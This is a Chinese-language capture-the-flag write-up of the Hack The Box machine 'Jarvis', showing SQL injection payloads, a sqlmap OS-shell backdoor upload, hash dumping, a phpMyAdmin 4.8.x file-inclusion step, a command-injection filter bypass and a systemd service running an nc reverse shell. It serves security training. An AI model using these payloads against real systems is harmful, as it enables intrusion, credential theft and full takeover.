> 文章列表 > HTB-Jarvis

HTB-Jarvis

HTB-Jarvis

HTB-Jarvis

  • 信息收集
    • 80端口
  • www-data(sqlmap)
  • www-data(myPhpAdmin)
  • www-data -> pepper
  • pepper -> root

HTB-Jarvis

信息收集

HTB-Jarvis

80端口

HTB-Jarvis
目录扫描
HTB-Jarvis
我啥也没干咋就被ban了,可能是gobuster流量太大被逮住了。

HTB-Jarvis

老老实实等90秒,先从已有的目录收集信息。
phpMyAdmin 4.8.0HTB-Jarvis
phpMyAdmin登陆界面。

HTB-Jarvis
主页面的room.php有一个cod参数。

HTB-Jarvis
测试9-8结果如下,初步怀疑有SQL注入可能性。
HTB-Jarvis
经过测试发现可能存在时间盲注,cod=1 and if(1=1,sleep(5),1) -- -(请原谅我当时脑子抽了)。
HTB-Jarvis
测试报错注入可能性较低。
HTB-Jarvis
写个脚本来跑,大概率会被ban,测试发现使用XFF参数配合可以绕过WAF/IPS对ip的检测。

HTB-Jarvis

因为可能是网络的原因,有时候在网页僵住半天没动静。只能手动加脚本配合来跑数据库,最后跑出来的数据库是hotel,information_schema,mysql,performance_schema,并没有发现有意思的库。hotel表也只是与房间有关的字段像cod、name、price等。使用sqlmap以最低能力注入。
sqlmap -u http://10.10.10.143/room.php?cod=1 --batch -random-agent -risk 1 -level 1
GET parameter ‘cod’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N

sqlmap identified the following injection point(s) with a total of 84 HTTP(s) requests:
---
Parameter: cod (GET)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: cod=1 AND 4144=4144Type: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: cod=1 AND (SELECT 2711 FROM (SELECT(SLEEP(5)))KcRx)Type: UNION queryTitle: Generic UNION query (NULL) - 7 columnsPayload: cod=-2595 UNION ALL SELECT NULL,CONCAT(0x7178716271,0x7a58484763744c714c7972586b7647554757717a48505570757a6555746b4c68717a796b51415175,0x717a786271),NULL,NULL,NULL,NULL,NULL-- -
---
[06:40:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: Apache 2.4.25, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)

www-data(sqlmap)

sqlmap -u http://10.10.10.143/room.php?cod=1 -random-agent -risk 1 -level 1 --os-shell --batch
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1
[06:43:48] [INFO] retrieved web server absolute paths: '/images/'
[06:43:48] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[06:43:49] [WARNING] unable to upload the file stager on '/var/www/'
[06:43:49] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[06:43:49] [WARNING] expect junk characters inside the file as a leftover from UNION query
[06:43:49] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[06:43:50] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[06:43:51] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpuzawk.php
[06:43:52] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbmzsb.php
[06:43:52] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell> 

并且我们还知道了Mysql版本是4.1.2,从passwd可知目标存在一个pepper用户。
HTB-Jarvis

获取一个较为完整的shell。

HTB-Jarvis

在/var/www/html/connection.php发现了$connection=new mysqli('127.0.0.1','DBadmin','imissyou','hotel');

HTB-Jarvis

看看能用在什么地方,比如phpMyAdmin上。

DBadmin:imissyou

HTB-Jarvis
可是我们已经通过sqlmap获取了shell,不出意外应该还有一种办法获取shell吧,那我们就假装不知道发生了什么从头来一遍。

www-data(myPhpAdmin)

我们经过测试知道了拥有数字注入,并且知道了行数。
HTB-Jarvis
HTB-Jarvis
获取表名。
HTB-Jarvis
字段名?cod=-1 union select 1,2,3,4,group_concat(column_name),6,7%20 from information_schema.columns where table_name='room'-- -,不过没有发现任何有用的字段。
HTB-Jarvis
查看一下mysql数据库。
HTB-Jarvis
假设目标没有对user表进行更改。

HTB-Jarvis

-1 union select 1,2,3,group_concat(Password),group_concat(User),6,7%20 from mysql.user -- -

HTB-Jarvis
将hash保存下来使用hashcat破解。
HTB-Jarvis
获得了DBadmin:imissyou,并使用其登录phpMyAdmin,可以知道phpMyAdmin的具体版本。
HTB-Jarvis
接着查找web应用绝对路径。在查看其他版本的RCE脚本时发现了这个路径。
HTB-Jarvis

随后找到了myPhpAdmin 4.8.x的LFI。
HTB-Jarvis
首先执行select '<?php phpinfo();exit;?>'语句。

HTB-Jarvis
HTB-Jarvis

然后获取myphpadmin的session值。
HTB-Jarvis

通过这个目录index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/var/lib/php/sessions/sess_你的phpMyAdmin的session值。
HTB-Jarvis
从中获取到网络应用的绝对路径。
HTB-Jarvis
先查看一下我们有没有权限写入文件。

secure_file_priv为空,不对读写做任何限制;
secure_file_priv为NULL,禁止限制操作;
secure_file_priv为一个目录,只能对该目录下文件操作。

HTB-Jarvis
写入shell。
HTB-Jarvis
HTB-Jarvis
HTB-Jarvis

www-data -> pepper

有一个python文件允许我们无需密码使用pepper的身份运行。
HTB-Jarvis
/var/www/Admin-Utilities/simpler.py里面有一段代码,不过会对输入尽心判断。

HTB-Jarvis
这个代码片段很有意思,用了个很巧妙的方法来进行判断。可能我们第一时间想到的是一个for取黑名单,一个for取输入的值,再用一个if来判断是否相等。作者直接取黑名单的值,接着直接用if 来判断,这很有趣。
HTB-Jarvis
黑名单虽然禁止了``但是没有禁止$()。
HTB-Jarvis
短横线-也可以通过unicode编码绕过。
HTB-Jarvis

但是加在ping后面就不好使了。
HTB-Jarvis
暂时没有思路了,试试拷贝呢。

0 $(cp /bin/bash .)

OK,复制过来了。
HTB-Jarvis

修改复制过来的bash的所属组。

0 $(chown pepper:$(cat www) bash) 等同于 0 $(chown pepper:www-data bash)

HTB-Jarvis
行吧,继续回到反弹shell上。
HTB-Jarvis
HTB-Jarvis

pepper -> root

find / -perm -04000 2>/dev/null

HTB-Jarvis

首先准备一个poc.service文件用来链接提权,内容与下:

[Unit] Description=roooooooooot

[Service] Type=simple User=root ExecStart=/bin/bash -c ‘nc ip port -e /bin/bash’

[Install] WantedBy=multi-user.target

HTB-Jarvis
下载到攻击机,后执行。

/bin/systemctl enable /home/pepper/poc.service
#出现下面几行代表连接成功
Created symlink /etc/systemd/system/multi-user.target.wants/poc.service -> /home/pepper/poc.service.
Created symlink /etc/systemd/system/poc.service -> /home/pepper/poc.service.
#接着启动
/bin/systemctl start root

HTB-Jarvis
失败的man